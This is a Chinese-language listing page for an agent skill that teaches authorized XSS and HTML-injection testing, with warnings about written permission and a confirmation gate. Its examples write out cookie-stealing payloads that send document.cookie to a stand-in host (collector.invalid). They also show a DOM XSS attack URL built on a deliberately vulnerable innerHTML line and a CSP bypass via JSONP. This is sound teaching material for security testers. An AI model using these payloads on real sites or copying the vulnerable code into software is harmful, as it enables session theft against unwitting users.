mcpField
X
xss-html-injection

xss-html-injection

github.com/sickn33安全48.7k162 次安装今天更新
代码仓库

关于 xss-html-injection

xss-html-injection 是用于授权评估或受控学习环境的跨站脚本与 HTML 注入测试技能。其指南强调避免有害载荷、波及非预期用户及超范围数据暴露。

主要功能

  1. 01XSS 与 HTML 注入测试指导
  2. 02存储型和反射型 XSS 示例
  3. 03基于 DOM 的 XSS 场景
  4. 04CSP 与框架限制说明
  5. 05授权及数据处理防护要求

适用场景

  1. 01在测试环境检查搜索参数
  2. 02在受控应用验证评论渲染
  3. 03检查 URL 片段的 DOM 处理

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill xss-html-injection

安装后在 Claude Code 中输入/xss-html-injection确认已加载。

附带文件references/detailed-guide.md

详细介绍

⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须先获得系统所有者明确的书面许可。 滥用此工具属于违法行为,且受到严格禁止。

强制确认关卡 在运行任何探测、利用、修改、持久化、提取目标数据或尝试访问凭据的命令之前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权,并说明允许的范围。
  3. 展示确切的命令,并解释其预期效果。
  4. 等待用户在当前对话中明确确认。

未获得上述确认时,只能进行只读操作,并且仅提供防御指导。优先使用沙箱、可随时销毁的 VM 或受控实验环境。

仅限授权使用:此技能仅可用于经授权的安全评估、防御验证或受控教育环境。

跨站脚本和 HTML 注入测试

详细指南

执行此技能前,请阅读详细指南。其中保留了完整流程和参考资料。必须遵守其中的安全要求、前提条件和验证要求。若仅开展专项工作,请加载相关章节;若需端到端开展工作,请完整阅读指南。

限制和防护措施

操作边界
  • 切勿注入可能损坏生产系统的载荷
  • 仅将 Cookie/会话捕获用于演示
  • 避免使用可能传播给非预期用户的载荷(蠕虫行为)
  • 不得超出范围要求窃取真实用户数据
技术限制
  • 内容安全策略(CSP)可能会阻止内联脚本
  • HttpOnly Cookie 会阻止 JavaScript 访问
  • SameSite 会限制部分跨站 Cookie 发送;但无法阻止易受攻击源中的脚本以该用户身份执行操作
  • 现代框架通常会自动转义输出
法律和道德要求
  • 测试前必须获得书面授权
  • 发现严重的 XSS 漏洞时,应立即报告
  • 按照数据保护协议处理捕获的凭据
  • 不得利用发现的漏洞进行未授权访问

示例

示例 1:评论区中的存储型 XSS

场景:博客评论功能存在存储型 XSS 漏洞

检测:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

观察结果:所有查看者都能看到评论,并且脚本会执行

利用载荷:

<script>
var i = new Image();
i.src = 'https://collector.invalid/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

结果:在受控浏览器中,只能发送该文档可访问的非 HttpOnly Cookie;CSP/网络策略也可能阻止此请求。请勿使用真实会话进行测试。

示例 2:通过搜索参数实现的反射型 XSS

场景:搜索结果页面反射查询内容时未进行编码

存在漏洞的 URL:

https://shop.example.com/search?q=test

检测测试:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

构造的攻击 URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://collector.invalid/log?c='+document.cookie)%22%3E

发送方式:仅在测试账户/浏览器中打开,并须获得相关人员同意;向他人发送链接需要单独的明确授权。

示例 3:通过哈希片段实现的基于 DOM 的 XSS

场景:JavaScript 读取 URL 哈希并将其插入 DOM

存在漏洞的代码:

// Vulnerable teaching example: explicit decode introduces markup from an encoded hash.
document.getElementById('welcome').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));

攻击 URL:

https://app.example.com/dashboard#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

结果:脚本完全在客户端执行;载荷不会经过服务器。

示例 4:通过 JSONP 端点绕过 CSP

场景:网站启用了 CSP,但允许使用受信任的 CDN

CSP 标头:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

绕过方式:在受信任的域名上查找 JSONP 端点:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

结果:利用允许的脚本来源绕过 CSP。

适用场景

此技能适用于执行概述中所述的工作流或操作。

评论

支持 Markdown